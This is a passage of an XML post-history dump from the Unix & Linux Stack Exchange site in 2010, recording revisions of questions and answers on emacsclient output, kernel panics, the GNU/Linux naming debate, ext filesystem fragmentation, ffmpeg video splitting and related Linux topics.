&#xD;&#xA;&#xD;&#xA;         #!/bin/sh&#xD;&#xA;         #Start emacs client&#xD;&#xA;         /usr/bin/emacsclient -ca emacs $1 &amp;&gt; /dev/null&#xD;&#xA;&#xD;&#xA;but this didn't help.  I didn't try editing EDITOR or VISUAL since I don't have any ideas other than this standard redirection.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3318" PostHistoryTypeId="1" PostId="1653" RevisionGUID="df7f940f-6511-47ba-9058-45a0ee091d02" CreationDate="2010-09-06T04:53:26.580" UserId="1207" Text="How can I suppress unneeded output from emacsclient?" />
  <row Id="3319" PostHistoryTypeId="3" PostId="1653" RevisionGUID="df7f940f-6511-47ba-9058-45a0ee091d02" CreationDate="2010-09-06T04:53:26.580" UserId="1207" Text="éioöredirectionàéemacsà" />
  <row Id="3320" PostHistoryTypeId="5" PostId="1653" RevisionGUID="b04fd8bc-f51d-4b59-8100-64b28d12c9a9" CreationDate="2010-09-06T05:15:22.917" UserId="1207" Comment="grammar error" Text="I use emacs fairly regularly and am trying to configure my system to use emacsclient when possible.  To do this I have done the following:&#xD;&#xA;&#xD;&#xA;In .bashrc:&#xD;&#xA;&#xD;&#xA;    EDITOR='emacsclient -ca emacs'&#xD;&#xA;    VISUAL='emacsclient -ca emacs'&#xD;&#xA;&#xD;&#xA;I then also installed an alternative for /usr/bin/editor that points to /usr/local/bin/emacsclient.wrapper that has the following:&#xD;&#xA;&#xD;&#xA;     #!/bin/sh&#xD;&#xA;     #Start emacs client&#xD;&#xA;     /usr/bin/emacsclient -ca emacs $1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For the most part this works great.  However, when emacsclient is launched from the terminal, it often spews out text I don't need.  Notably:&#xD;&#xA;&#xD;&#xA;    $ editor &#xD;&#xA;    Waiting for Emacs...&#xD;&#xA;    $ &#xD;&#xA;&#xD;&#xA;Or, when emacs isn't already started and emacclient has to fall back to starting emacs itself:&#xD;&#xA;&#xD;&#xA;    emacsclient: can't find socket; have you started the server?&#xD;&#xA;    To start the server in Emacs, type &quot;M-x server-start&quot;.&#xD;&#xA;&#xD;&#xA;What can I do to surpress this output?  I've tried changing my emacs wrapper to &#xD;&#xA;&#xD;&#xA;         #!/bin/sh&#xD;&#xA;         #Start emacs client&#xD;&#xA;         /usr/bin/emacsclient -ca emacs $1 &amp;&gt; /dev/null&#xD;&#xA;&#xD;&#xA;but this didn't help.  I didn't try editing EDITOR or VISUAL since I don't have any ideas other than this standard redirection.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3321" PostHistoryTypeId="2" PostId="1654" RevisionGUID="cc78cb4a-c215-46c9-b431-bba6f994130a" CreationDate="2010-09-06T06:37:02.003" UserId="160" Text="In general:&#xD;&#xA;&#xD;&#xA;    program &gt;/dev/null 2&gt;&amp;1&#xD;&#xA;&#xD;&#xA;will force the output (`STDOUT`) of `program` to `/dev/null` and redirects `STDERR` to `STDOUT`.  So try:&#xD;&#xA;&#xD;&#xA;    /usr/bin/emacsclient -ca emacs $1 &gt;/dev/null 2&gt;&amp;1&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3322" PostHistoryTypeId="2" PostId="1655" RevisionGUID="073a2fc4-6b66-4fe5-9b22-68d24ec1fa27" CreationDate="2010-09-06T09:01:41.120" UserId="268" Text="In a way the [Linux compatibility][1] layer in FreeBSD comes close. The two are not really &quot;merged&quot;, but it is a fairly painless way to run Linux applications without porting them to FreeBSD.&#xD;&#xA;&#xD;&#xA;From your followup comments, it sounds like you're mostly interested in unifying the package management, as many distros have come up with their own solutions. Actually, package management is itself an attempt at unification, but the spirit of competition still hasn't resolved which approach will &quot;win&quot;. Perhaps it would be better for each distro to support as many package systems as possible, and time will tell which one has the right balance of flexibility, ease of use, etc., needed to become the de facto standard. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freebsd.org/doc/handbook/linuxemu.html" />
  <row Id="3324" PostHistoryTypeId="2" PostId="1657" RevisionGUID="94e854b0-b5ee-40ff-8e83-6888a9305629" CreationDate="2010-09-06T09:48:58.843" UserId="12" Text="So I asked [this question][1] about directory shortcuts in a shell. The idea is I'd like to be able to open a file in `/home/Documents/foo`, say, by typing (`C-x C-f`) `~foo/file`.&#xD;&#xA;&#xD;&#xA;So, is there a way to emulate zsh's &quot;named directories&quot; in the emacs buffer? (Incidentally, the shortcut definitions I want to use are already in my .zshrc, if there's a solution that reads them directly, that gets bonus points...)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/1469/bash-directory-shortcuts" />
  <row Id="3325" PostHistoryTypeId="1" PostId="1657" RevisionGUID="94e854b0-b5ee-40ff-8e83-6888a9305629" CreationDate="2010-09-06T09:48:58.843" UserId="12" Text="Directory shortcuts in emacs buffer" />
  <row Id="3326" PostHistoryTypeId="3" PostId="1657" RevisionGUID="94e854b0-b5ee-40ff-8e83-6888a9305629" CreationDate="2010-09-06T09:48:58.843" UserId="12" Text="ézshàéemacsà" />
  <row Id="3327" PostHistoryTypeId="2" PostId="1658" RevisionGUID="c358a912-fd03-4fd0-b35f-21c4fcdffc10" CreationDate="2010-09-06T11:14:12.540" UserId="317" Text="some guys insist (and ofcourse stallman) that, the O/S which is in most case &quot;linux distro&quot; is called GNU/Linux family, not just Linux. is this still relevant today? since to create complete O/S we need other tools/utility/apps that is not linux, but today may be only half of them are GNU software.." />
  <row Id="3328" PostHistoryTypeId="1" PostId="1658" RevisionGUID="c358a912-fd03-4fd0-b35f-21c4fcdffc10" CreationDate="2010-09-06T11:14:12.540" UserId="317" Text="is GNU/Linux still relevant" />
  <row Id="3329" PostHistoryTypeId="3" PostId="1658" RevisionGUID="c358a912-fd03-4fd0-b35f-21c4fcdffc10" CreationDate="2010-09-06T11:14:12.540" UserId="317" Text="élinuxàédistrosàégnuàéosà" />
  <row Id="3330" PostHistoryTypeId="2" PostId="1659" RevisionGUID="f2fd8d01-b037-491a-9f9d-e19d606ed1f9" CreationDate="2010-09-06T11:56:37.470" UserId="1522" Text="I like the [tree][1] utility to get an overview over the directory structure. It's available in MacPorts and all Linux distributions I've tried.&#xD;&#xA;&#xD;&#xA;    tree -d -L 2&#xD;&#xA;&#xD;&#xA;That would show all directories, two levels deep.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/tree" />
  <row Id="3331" PostHistoryTypeId="2" PostId="1660" RevisionGUID="0a53349c-4ca6-4c85-9e19-4f2590118fcc" CreationDate="2010-09-06T12:00:02.487" UserId="1327" Text="What does it mean when your computer has a **kernel panic**?&#xD;&#xA;&#xD;&#xA;Also, what **methods, tips, tricks** are avialable to the user when a *kernel panic* strikes?" />
  <row Id="3332" PostHistoryTypeId="1" PostId="1660" RevisionGUID="0a53349c-4ca6-4c85-9e19-4f2590118fcc" CreationDate="2010-09-06T12:00:02.487" UserId="1327" Text="What is a kernel panic?" />
  <row Id="3333" PostHistoryTypeId="3" PostId="1660" RevisionGUID="0a53349c-4ca6-4c85-9e19-4f2590118fcc" CreationDate="2010-09-06T12:00:02.487" UserId="1327" Text="ékernelöpanicà" />
  <row Id="3334" PostHistoryTypeId="5" PostId="1660" RevisionGUID="38d9c334-86b4-4f46-a03e-f81eb6214667" CreationDate="2010-09-06T12:10:15.667" UserId="1327" Comment="improved" Text="What does it mean when your computer has a **kernel panic**?&#xD;&#xA;&#xD;&#xA;Does it equate to the windows [BsoD](http://en.wikipedia.org/wiki/Blue_Screen_of_Death)?&#xD;&#xA;&#xD;&#xA;Also, what **methods, tips, tricks** are available to the user when a *kernel panic* strikes?" />
  <row Id="3335" PostHistoryTypeId="2" PostId="1661" RevisionGUID="73fc9aff-af1e-4a1a-b4b6-c2c54b6eea0a" CreationDate="2010-09-06T12:31:00.117" UserId="1525" Text="It is the unexpected program flow behavior (kernel is a program in this case). In case of panic program stops working.&#xD;&#xA;It IS equate to the windows BsoD.&#xD;&#xA;KP means something wrong with kernel or modules. If it's stable kernel - look at drivers. If nothing special and all drivers are common it could be hardware problem." />
  <row Id="3336" PostHistoryTypeId="5" PostId="1660" RevisionGUID="4f74b2fc-8290-41bd-827c-ccb62f16ecc7" CreationDate="2010-09-06T12:34:02.527" UserId="1327" Comment="changed title" Text="What does it mean when your computer has a **&quot;kernel panic&quot;**?&#xD;&#xA;&#xD;&#xA;Does it equate to the windows [BsoD](http://en.wikipedia.org/wiki/Blue_Screen_of_Death)?&#xD;&#xA;&#xD;&#xA;Also, what **methods, tips, tricks** are available to the user when a *kernel panic* strikes?" />
  <row Id="3337" PostHistoryTypeId="4" PostId="1660" RevisionGUID="4f74b2fc-8290-41bd-827c-ccb62f16ecc7" CreationDate="2010-09-06T12:34:02.527" UserId="1327" Comment="changed title" Text="What is a &quot;kernel panic&quot;?" />
  <row Id="3338" PostHistoryTypeId="2" PostId="1662" RevisionGUID="84e01671-f2b9-4a68-b861-01b50558059c" CreationDate="2010-09-06T12:35:53.130" UserId="1524" Text="From my point of view - as far as we exclusively use [GNU toolchain][1] for kernel compilation it should be GNU/Linux. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/GNU_toolchain" />
  <row Id="3339" PostHistoryTypeId="2" PostId="1663" RevisionGUID="553d913c-fe04-439f-bc96-56e6750982aa" CreationDate="2010-09-06T13:22:33.020" UserId="1383" Text="From my point of view, &quot;GNU/Linux&quot; label is pure marketing from GNU supporters.&#xD;&#xA;&#xD;&#xA;Many Unix (not only Linux) distributions have GNU tools installed, starting with gcc. Many tools with other licences are installed as well on these distributions.&#xD;&#xA;&#xD;&#xA;Should we say GNU/BSD/Ubuntu or BSD/GNU/Mac OS X ?&#xD;&#xA;" />
  <row Id="3340" PostHistoryTypeId="2" PostId="1664" RevisionGUID="b9ec93d2-08b4-4dfe-84c9-a78142713f93" CreationDate="2010-09-06T14:09:43.033" UserId="305" Text="Well. It depends how exact you need to be. For example:&#xD;&#xA;&#xD;&#xA;- If you are asked by someone who uses browser Windows and operating system Google (;) ) use **Linux**&#xD;&#xA;- If you are talking about embedded Linux (like difference between GNU/Linux and embedded Linux), GNU operating system familly (differences between GNU/Linux GNU/kFreeBSD) use **GNU/Linux**&#xD;&#xA;- If you are talking about differences between userland and kernel use **GNU/Linux** for system and **Linux** for kernel&#xD;&#xA;- If none above apply and there is no need to disambiguate the difference use **Linux**, **GNU/Linux** or my personal choice **(GNU/)Linux**" />
  <row Id="3341" PostHistoryTypeId="2" PostId="1665" RevisionGUID="6f0c05c6-4971-4b68-8457-277e8dc415c0" CreationDate="2010-09-06T14:19:39.990" UserId="305" Text="Kernel panic is the same as BSOD and is non-rescuable IIRC. However smaller failure is OOPS which denotes some error in kernel.&#xD;&#xA;&#xD;&#xA;1. You can use [kexec][1] which switches to new kernel on panic (you can threat it as fast reboot) - possibly getting meaningful [dump of system][2] to debug the problem&#xD;&#xA;2. You can use `panic` parameter which reboots kernel after n seconds. You can instruct GRUB to switch to fallback kernel in such case&#xD;&#xA;3. Use [Magic SysRQ keys][3] to print stack traces etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Kexec&#xD;&#xA;  [2]: http://lse.sourceforge.net/kdump/&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Magic_SysRq_key" />
  <row Id="3342" PostHistoryTypeId="2" PostId="1666" RevisionGUID="9625d6d6-27ff-4e9f-bc7b-562177af8fd7" CreationDate="2010-09-06T14:46:32.037" UserId="305" Text="Sorry - I don't remember the exact name. I know there is mechanism to patch the kernel at runtime by loading modules without need of the reboot as long as the structures involved are not affected. It is used by servers for security patches and recently by Ubuntu &amp; Fedora.&#xD;&#xA;&#xD;&#xA;1. What is the name of mechanism&#xD;&#xA;2. Is there any how-to for hand-compiled kernels&#xD;&#xA;3. Is it possible to automatically check if the change x.y.z.a -&gt; x.y.z.a+1 changed any structure or not&#xD;&#xA;" />
  <row Id="3343" PostHistoryTypeId="1" PostId="1666" RevisionGUID="9625d6d6-27ff-4e9f-bc7b-562177af8fd7" CreationDate="2010-09-06T14:46:32.037" UserId="305" Text="Patching Linux kernel on-line (i.e. without rebooting)" />
  <row Id="3344" PostHistoryTypeId="3" PostId="1666" RevisionGUID="9625d6d6-27ff-4e9f-bc7b-562177af8fd7" CreationDate="2010-09-06T14:46:32.037" UserId="305" Text="élinuxàékernelàépatchà" />
  <row Id="3345" PostHistoryTypeId="2" PostId="1667" RevisionGUID="8879eeb1-0acc-4333-abaf-2730f28d70c6" CreationDate="2010-09-06T15:09:59.273" UserId="317" Text="why ext2/3/4 doesn't need to defrag? are there no defragmentation at all?" />
  <row Id="3346" PostHistoryTypeId="1" PostId="1667" RevisionGUID="8879eeb1-0acc-4333-abaf-2730f28d70c6" CreationDate="2010-09-06T15:09:59.273" UserId="317" Text="defrag on ext partition?" />
  <row Id="3347" PostHistoryTypeId="3" PostId="1667" RevisionGUID="8879eeb1-0acc-4333-abaf-2730f28d70c6" CreationDate="2010-09-06T15:09:59.273" UserId="317" Text="éfilesystemsàépartitionàéext4àéext2à" />
  <row Id="3348" PostHistoryTypeId="2" PostId="1668" RevisionGUID="45adb214-88e5-4781-9722-5ecd8be56c45" CreationDate="2010-09-06T15:21:36.633" UserId="1144" Text="I think you are looking for [Ksplice][1]. I haven't really followed the technology so I'm not sure how freely available the how-to information is but they certainly have freely available support for some Fedora and Ubuntu versions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ksplice.com/" />
  <row Id="3349" PostHistoryTypeId="6" PostId="1658" RevisionGUID="2b10b287-4eb3-437e-b3d2-6649e2fd1949" CreationDate="2010-09-06T15:31:43.313" UserId="1207" Comment="edited tags" Text="élinuxàédistrosàégnuàéosàéholyöwarsà" />
  <row Id="3350" PostHistoryTypeId="2" PostId="1669" RevisionGUID="49c657da-3d08-476a-820b-c1f1f8465da0" CreationDate="2010-09-06T15:39:07.127" UserId="1002" Text="There is not much fragmentation as long as the disk isn't filled too much (so don't fill a disk up too much if you can avoid it).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3351" PostHistoryTypeId="2" PostId="1670" RevisionGUID="572d924f-1735-4df0-848a-4e1209957fa2" CreationDate="2010-09-06T16:16:54.537" UserId="633" Text="I intend to answer this myself once I get the process down but if anyone has insight. There is often a need in the open source or active developer community to publish large video segments online (Meetup videos, campouts, tech talks). Being that I am a developer and not a videographer I have no desire to fork out the extra scratch on a premium vimeo account. How then do I take a 12.5 GB video mpg (1:20:00) tech talk and slice it into 00:10:00 segments for easy uploading to youtube?&#xD;&#xA;&#xD;&#xA;I also want to apologize, it will not let me enter new tags so for the time being:&#xD;&#xA;&#xD;&#xA;`video editing, youtube, ffmpeg`" />
  <row Id="3352" PostHistoryTypeId="1" PostId="1670" RevisionGUID="572d924f-1735-4df0-848a-4e1209957fa2" CreationDate="2010-09-06T16:16:54.537" UserId="633" Text="How can I use ffmpeg to split mpeg video into 10 minute chunks for youtube upload?" />
  <row Id="3353" PostHistoryTypeId="3" PostId="1670" RevisionGUID="572d924f-1735-4df0-848a-4e1209957fa2" CreationDate="2010-09-06T16:16:54.537" UserId="633" Text="écommandölineà" />
  <row Id="3354" PostHistoryTypeId="2" PostId="1671" RevisionGUID="a6078212-557a-4687-aa19-e04e2c5de051" CreationDate="2010-09-06T16:16:56.097" UserId="273" Text="My car is a Ford and needs tyres, at the moment I have Michelin tyres installed.&#xD;&#xA;&#xD;&#xA;Should I refer to my car as a Michelin/Ford?&#xD;&#xA;&#xD;&#xA;Presumably Stallman would say yes, as Bibendum obviously deserves credit for making the tyres.&#xD;&#xA;&#xD;&#xA;However, I would imagine that if I said that I drove a &quot;Michelin/Ford&quot; and tried to persuade other people to refer to it as such, everybody would think I was a complete arse.&#xD;&#xA;&#xD;&#xA;If I was Bibendum, everybody would also say that I was only insisting on the &quot;Michelin/&quot; because of my relationship with the company.&#xD;&#xA;&#xD;&#xA;OK, the analogy is only an analogy, but is it that bad?" />
  <row Id="3355" PostHistoryTypeId="6" PostId="1670" RevisionGUID="196b528a-c31c-4a6e-8396-63a8b5a7fd42" CreationDate="2010-09-06T16:22:57.830" UserId="1207" Comment="edited tags" Text="écommandölineàéffmpegàévideoöeditingà" />
  <row Id="3356" PostHistoryTypeId="6" PostId="1670" RevisionGUID="7d3fe0be-dcc8-4024-9f20-d4ef1d2ddddd" CreationDate="2010-09-06T16:23:27.207" UserId="1207" Comment="edited tags" Text="écommandölineàéffmpegàévideoöeditingàéyoutubeà" />
  <row Id="3357" PostHistoryTypeId="2" PostId="1672" RevisionGUID="651834cf-66be-44bb-b6a2-0bf5230c8885" CreationDate="2010-09-06T16:28:21.877" UserId="116" Text="Modern filesystems, particularly those designed to be efficient in multi-user and/or multi-tasking use cases, do a good fairly job of not fragmenting data until filesystems become near to full (there is no exact figure for where the &quot;near to full&quot; mark is as it depends on how large the filesystem is, the distribution of file sizes and what your access patterns are - figures between 85% and 95% are commonly quoted) or the pattern of file creations and writes is unusual or the filesystem is very old so has seen a lot of &quot;action&quot;. This includes ext2/3/4, reiser, btrfs, NTFS, ZFS, and others.&#xD;&#xA;&#xD;&#xA;There is currently no kernel-/filesystem- level way to defragment ext3 or 4 at the moment (see http://en.wikipedia.org/wiki/Ext3#Defragmentation for a little more info) though ext4 is planned to soon gain online defragmentation.&#xD;&#xA;&#xD;&#xA;There are user-land tools (such as http://vleu.net/shake/ and others listed in that wikipedia article) that try defragment individual files or sets of files by copying/rewriting them - if there is a large enough block of free space this generally results in the file being given a contiguous block. This in no way guarantees files are near each other though so if you run shake over a pair of large files you migth find is results in the two files being defragmented themselves but not anywhere near each other on the disk. In a multi-user filesystem the locality of files to each other isn't often important (it is certainly less important then fragmentation of the files themselves) as the drive heads are flipping all over the place to serve different user's needs anyway and this drowns out the latency bonus that locality of reference between otherwise unfragmented files would give but on a mostly single user system it can give measurable benefits.&#xD;&#xA;&#xD;&#xA;If you have a filesystem that has become badly fragmented over time and currently has a fair amount of free space then running something like `shake` over all its files could have the effet you are looking for. Another method would be to copy all the data to a new filesystem, remove the original, and then copy it back on again. This helps in much the same way `shake` does but may be quicker for larger amounts of data.&#xD;&#xA;&#xD;&#xA;For small amounts of fragmentation, just don't worry about it. I know people who spend more time sat watching defragmentation progress bars than they'll ever save (due to more efficient disk access) in several lifetimes of normal operation!" />
  <row Id="3358" PostHistoryTypeId="2" PostId="1673" RevisionGUID="25897a35-8cd4-403d-817f-f2a529ce7fa3" CreationDate="2010-09-06T16:49:12.473" UserId="1529" Text="It's quite true that GNU is not the only organisation to contribute non-kernel software to a working GNU/Linux system, though GNU software is a very large and important part. So there isn't a cast-iron argument that you absolutely have to call it GNU/Linux. But consider what Richard Stallman and GNU have contributed, and how little they ask in return. You don't have to pay money, you don't have to sign a licence agreement, and you have all the Freedoms that Free Software gives you. If all they want for that is for you to call it &quot;GNU/Linux&quot;, is that really so hard?" />
  <row Id="3359" PostHistoryTypeId="5" PostId="1670" RevisionGUID="b23ece79-70ed-45c9-9888-2c7e354bd757" CreationDate="2010-09-06T17:23:50.617" UserId="633" Comment="new tags created" Text="I intend to answer this myself once I get the process down but if anyone has insight. There is often a need in the open source or active developer community to publish large video segments online (Meetup videos, campouts, tech talks). Being that I am a developer and not a videographer I have no desire to fork out the extra scratch on a premium vimeo account. How then do I take a 12.5 GB video mpg (1:20:00) tech talk and slice it into 00:10:00 segments for easy uploading to youtube?" />
  <row Id="3360" PostHistoryTypeId="6" PostId="1670" RevisionGUID="b23ece79-70ed-45c9-9888-2c7e354bd757" CreationDate="2010-09-06T17:23:50.617" UserId="633" Comment="new tags created" Text="écommandölineàéffmpegàévideoöeditingàéyoutubeà" />
  <row Id="3361" PostHistoryTypeId="2" PostId="1674" RevisionGUID="431b46c7-3e7a-4933-9a87-d7259f2cff2a" CreationDate="2010-09-06T17:33:34.960" UserId="317" Text="I notice that ncurses's terminfo database on `/usr/share/terminfo` is about 7MB (I compiled myself), this is too large for my need if I want to deploy it into embedded linux of 64MB disk space, is there any way to **reduce its size** by deleting unneeded entry and keep the most used. and **what's is this actually for**?" />
  <row Id="3362" PostHistoryTypeId="1" PostId="1674" RevisionGUID="431b46c7-3e7a-4933-9a87-d7259f2cff2a" CreationDate="2010-09-06T17:33:34.960" UserId="317" Text="reduce ncurses terminfo size" />
  <row Id="3363" PostHistoryTypeId="3" PostId="1674" RevisionGUID="431b46c7-3e7a-4933-9a87-d7259f2cff2a" CreationDate="2010-09-06T17:33:34.960" UserId="317" Text="éembeddedàéncursesàéstripà" />
  <row Id="3364" PostHistoryTypeId="2" PostId="1675" RevisionGUID="9111f042-875c-4937-86ec-e5f7b24c516c" CreationDate="2010-09-06T17:49:21.993" UserId="138" Text="    $ ffmpeg -ss 0 -t 600 -i source-file.foo first-10-min.m4v&#xD;&#xA;    $ ffmpeg -ss 600 -t 600 -i source-file.foo second-10-min.m4v&#xD;&#xA;    $ ffmpeg -ss 1200 -t 600 -i source-file.foo third-10-min.m4v&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Wrapping this up into a script to do it in a loop wouldn't be hard.  You could put in an `ffprobe` call at the top to get the actual duration so it could calculate the number of iterations needed.  Beware that `ffprobe` doesn't scan the entire file, though, so its duration report is just an estimate.&#xD;&#xA;&#xD;&#xA;I think you're using a hammer to bang a screw in, however.  Brute-force cuts at exactly 10 minutes are doubtless going to put the cuts right in the middle of words.  I think you should be doing the cuts in some kind of video editing tool, picking natural break points somewhere just under the 10 minute mark, and writing each section out to a separate file.  You can use `ffmpeg` to encode those sections instead of using the video editor's built-in encoder, if you like." />
  <row Id="3365" PostHistoryTypeId="5" PostId="1675" RevisionGUID="8c6f4352-3c12-4bcd-8fb7-ff95e68ad312" CreationDate="2010-09-06T17:56:19.403" UserId="138" Comment="Added pass-thru cut-only commands" Text="    $ ffmpeg -ss 0 -t 600 -i source-file.foo first-10-min.m4v&#xD;&#xA;    $ ffmpeg -ss 600 -t 600 -i source-file.foo second-10-min.m4v&#xD;&#xA;    $ ffmpeg -ss 1200 -t 600 -i source-file.foo third-10-min.m4v&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Wrapping this up into a script to do it in a loop wouldn't be hard.  You could put in an `ffprobe` call at the top to get the actual duration so it could calculate the number of iterations needed.  Beware that `ffprobe` doesn't scan the entire file, though, so its duration report is just an estimate.&#xD;&#xA;&#xD;&#xA;I think you're using a hammer to bang a screw in, however.  Brute-force cuts at exactly 10 minutes are doubtless going to put the cuts right in the middle of words.  I think you should be doing the cuts in some kind of video editing tool, picking natural break points somewhere just under the 10 minute mark, and writing each section out to a separate file.  You can use `ffmpeg` to encode those sections instead of using the video editor's built-in encoder, if you like.&#xD;&#xA;&#xD;&#xA;If you don't want to reencode, at least you should find the natural breakpoints somehow, then use these offsets in your `ffmpeg` command.  In that case, modify it like so:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ ffmpeg -ss 0 -t 593.3 -i source.m4v -vcodec copy -acodec copy first.m4v&#xD;&#xA;    $ ffmpeg -ss 593.3 -t 551.3 -i source.m4v -vcodec copy -acodec copy second.m4v&#xD;&#xA;    ..." />
  <row Id="3366" PostHistoryTypeId="2" PostId="1676" RevisionGUID="0a43740c-8d78-4c9c-b6b8-078ac1ec805a" CreationDate="2010-09-06T18:01:18.703" UserId="1207" Text="I hate to give RTFM type answers, but what information are you looking for that isn't contained in `man 5 terminfo`?  It is often easy to overlook manual pages when there are multiple manual pages in different sections.  Often the other manual pages to look at will be listed at the bottom of the first manual page that is found, but it is also helpful to remember that manual pages are divided into multiple sections(from `man man`):&#xD;&#xA;&#xD;&#xA;       1   Executable programs or shell commands&#xD;&#xA;       2   System calls (functions provided by the kernel)&#xD;&#xA;       3   Library calls (functions within program libraries)&#xD;&#xA;       4   Special files (usually found in /dev)&#xD;&#xA;       5   File formats and conventions eg /etc/passwd&#xD;&#xA;       6   Games&#xD;&#xA;       7   Miscellaneous  (including  macro  packages  and  conventions)&#xD;&#xA;       8   System administration commands (usually only for root)&#xD;&#xA;       9   Kernel routines [Non standard]&#xD;&#xA;&#xD;&#xA;From `man 5 terminfo` it seems that how much you can get rid of from /usr/share/terminfo will depend on whether you have complete control over the terminal type (which you likely do).  If you know that you will only ever be running on one terminal type, you can likely remove all but one of the terminal discriptions.  On some systems, these terminfo files are also in /etc/terminfo/ or /lib/terminfo/, but I am unsure if this is the case when you compile directly from the upstream tarball.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3367" PostHistoryTypeId="5" PostId="1667" RevisionGUID="ab419e97-b918-4942-9a29-d43325ce132e" CreationDate="2010-09-06T18:06:24.733" UserId="73" Comment="added 4 characters in body; edited title" Text="Why don't ext2/3/4 need to be defragmented? Is there no fragmentation at all?" />
  <row Id="3368" PostHistoryTypeId="4" PostId="1667" RevisionGUID="ab419e97-b918-4942-9a29-d43325ce132e" CreationDate="2010-09-06T18:06:24.733" UserId="73" Comment="added 4 characters in body; edited title" Text="Defragging an ext partition?" />
  <row Id="3369" PostHistoryTypeId="5" PostId="1675" RevisionGUID="38d6e757-9653-45ef-82ed-83119b80b348" CreationDate="2010-09-06T18:15:07.610" UserId="138" Comment="typo fix; added 267 characters in body" Text="    $ ffmpeg -ss 0 -t 600 -i source-file.foo first-10-min.m4v&#xD;&#xA;    $ ffmpeg -ss 600 -t 600 -i source-file.foo second-10-min.m4v&#xD;&#xA;    $ ffmpeg -ss 1200 -t 600 -i source-file.foo third-10-min.m4v&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Wrapping this up into a script to do it in a loop wouldn't be hard.  You could put in an `ffprobe` call at the top to get the actual duration so it could calculate the number of iterations needed.  Beware that `ffprobe` doesn't scan the entire file, though, so its duration report is just an estimate.&#xD;&#xA;&#xD;&#xA;I think you're using a hammer to bang a screw in, however.  Brute-force cuts at exactly 10 minutes are doubtless going to put the cuts right in the middle of words.  I think you should be doing the cuts in some kind of video editing tool, picking natural break points somewhere just under the 10 minute mark, and writing each section out to a separate file.  You can use `ffmpeg` to encode those sections instead of using the video editor's built-in encoder, if you like.&#xD;&#xA;&#xD;&#xA;If you don't want to reencode, at least you should find the natural breakpoints somehow, then use these offsets in your `ffmpeg` command.  In that case, modify it like so:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ ffmpeg -ss 0 -t 593.3 -i source.m4v -vcodec copy -acodec copy part1.m4v&#xD;&#xA;    $ ffmpeg -ss 593.3 -t 551.64 -i source.m4v -vcodec copy -acodec copy part2.m4v&#xD;&#xA;    $ ffmpeg -ss 1144.94 -t 581.25 -i source.m4v -vcodec copy -acodec copy part3.m4v&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;The &quot;copy&quot; codec tells `ffmpeg` to pass the audio and video through untouched.  You're using it to just make cuts here, without reencoding.  Each additional command uses the previous command's start time added to the previous command's duration as its start time." />
  <row Id="3370" PostHistoryTypeId="2" PostId="1677" RevisionGUID="8a79be65-207c-43c7-961b-250d3ec811ec" CreationDate="2010-09-06T18:19:33.713" UserId="115" Text="I want to run this command every time I log in (or every time I start up, if that doesn't work): `xmodmap -e 'keysym Delete = Menu' -e 'keysym Menu = Delete'`&#xD;&#xA;&#xD;&#xA;I've tried many things. I put the command in `System &gt; Preferences &gt; Startup Applications`. I put it in a `.sh` file, marked it `chmod +x` and put that file in `System &gt; Preferences &gt; Startup Applications`. I put the script in `/etc/init.d`. I put the commands in `~/.profile`. Nothing seems to work.&#xD;&#xA;&#xD;&#xA;Finally, I put this in my `~/.profile`:&#xD;&#xA;&#xD;&#xA;    touch test1&#xD;&#xA;    xmodmap -e 'keysym Delete = Menu' -e 'keysym Menu = Delete'&#xD;&#xA;    touch test2&#xD;&#xA;&#xD;&#xA;Both test1 and test2 get created, but the keys are still not remapped. If I just copy/paste the command and run it manually, it works fine. But it won't run on login. Any ideas?" />
  <row Id="3371" PostHistoryTypeId="1" PostId="1677" RevisionGUID="8a79be65-207c-43c7-961b-250d3ec811ec" CreationDate="2010-09-06T18:19:33.713" UserId="115" Text="Why won't my xmodmap command run on startup/login?" />
  <row Id="3372" PostHistoryTypeId="3" PostId="1677" RevisionGUID="8a79be65-207c-43c7-961b-250d3ec811ec" CreationDate="2010-09-06T18:19:33.713" UserId="115" Text="éubuntuàéloginàéstartupà" />
  <row Id="3373" PostHistoryTypeId="5" PostId="1646" RevisionGUID="4872087b-c37c-4989-88c1-f8e69a699c39" CreationDate="2010-09-06T18:29:31.950" UserId="1090" Comment="added 1 characters in body" Text="In Mac OS X, run 'ls -al' gives me something like this.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;drwxrwxrwx+  4 smcho  staff     136 May  5 09:18 Public&#xD;&#xA;drwxr-xr-x+  6 smcho  staff     204 Feb  1  2010 Sites&#xD;&#xA;drwxrwxrwx   9 smcho  staff     306 Feb  2  2010 backup&#xD;&#xA;drwxr-xr-x@ 36 smcho  staff    1224 Sep  4 22:51 bin&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA; * What's the + or @ at the end of the first column means?&#xD;&#xA; * Is this unique to Mac, or common in UNIX?&#xD;&#xA;&#xD;&#xA;## ADDED&#xD;&#xA;After Michael Mrozek's answer, I ran 'ls -ale' to get the following.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;drwx------+ 66 smcho  staff    2244 Aug 30 13:40 Library&#xD;&#xA; 0: group:com.apple.sharepoint.group.3 allow search&#xD;&#xA; 1: group:everyone deny 